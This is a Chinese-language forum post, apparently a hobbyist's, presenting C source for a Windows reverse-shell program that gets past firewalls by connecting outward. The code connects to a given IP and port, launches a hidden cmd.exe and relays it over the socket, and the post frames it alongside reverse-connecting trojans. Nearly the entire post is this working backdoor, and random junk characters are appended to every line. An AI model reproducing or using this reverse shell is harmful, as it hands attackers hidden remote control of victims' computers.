这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V,W":&!x
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/* ============================== nGdEJ
Rebound port in Windows NT nYF *f
By wind,2006/7 #P''+$5,
===============================*/ |k-IY]6
#include 1hT!~'
#include ]F]!>dKA
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#pragma comment(lib,"wsock32.lib") OlV'#D
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void OutputShell(); )&$Zt(
SOCKET sClient; "
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vMQvq9T}
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void main(int argc,char **argv) 52L* :|b
{ (6WSQqp
WSADATA stWsaData; ~{O9dEI
int nRet; O [81nlhS0
SOCKADDR_IN stSaiClient,stSaiServer; Q.N, Q`P
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if(argc != 3) \s[/{3
{ $7 08\!
printf("Useage:\n\rRebound DestIP DestPort\n"); `PY>p!E
return; ZMVQo-=
} D}| 30s?u1
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3V"y|q
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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stSaiClient.sin_family = AF_INET; .$k2.-k
stSaiClient.sin_port = htons(0); fy(i<L
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); nO d'$q
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #n[1%8l,
{ Yp_R+a^
printf("Bind Socket Failed!\n"); ppBIl6
return; P 3CzX48^
} $)5-}NJf'
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stSaiServer.sin_family = AF_INET; _Q:739&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r:&"#F
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); V@(7K0
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $|2@of.
{ 0F\e*{gc
printf("Connect Error!"); @"`{gdB$
return; x*9CK8o=
} dX58nJ4u
OutputShell(); AxN.k
} R`RLq1WA
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void OutputShell() YJ&K0%R
{ E[FRx1^R9
char szBuff[1024]; f.o,VVYi
SECURITY_ATTRIBUTES stSecurityAttributes; as{^~8B
OSVERSIONINFO stOsversionInfo; 1xJc[q
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Pw"o[8
STARTUPINFO stStartupInfo; O@
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char *szShell; 8"#Ix1#
PROCESS_INFORMATION stProcessInformation; b$24${*'
unsigned long lBytesRead; sp0j2<$a
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }Ot
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); O>E2G]K]\
stSecurityAttributes.lpSecurityDescriptor = 0; .=VtMi$n
stSecurityAttributes.bInheritHandle = TRUE; fDn| o"
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); myVV5#{
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9Q#eu~R
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _Gf.1Bsf@S
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oH/4opV
stStartupInfo.wShowWindow = SW_HIDE; _/W[=c
stStartupInfo.hStdInput = hReadPipe; n: ~y]
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; C6XTId=y#_
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GetVersionEx(&stOsversionInfo); Z(S=2r.
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switch(stOsversionInfo.dwPlatformId) *|f&a
{ p<|I!n&9
case 1: w2:!yQk_
szShell = "command.com"; 5!55v
break; I$Q%iZ{
default: *ay>MlcV2=
szShell = "cmd.exe"; ?,JN?
break; Dj<]eG]
} iI[Z|"a 21
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *nB fF{y
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send(sClient,szMsg,77,0); wp!<u
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while(1) IX7|_ci
{ -$(,&qyk
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )
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if(lBytesRead) ({ 7tp!@
{ DR o@gYDn
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); y&0&K4aa
send(sClient,szBuff,lBytesRead,0); 9E (VU.
} 8 oHyNo
else \(a9rZ9
{ cJ
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lBytesRead=recv(sClient,szBuff,1024,0); g<[_h(xDeG
if(lBytesRead<=0) break; G\\zk
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ];waK2'2
} .(Gq9m[~8H
} o0~+%&
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return; Vrf+~KO7
}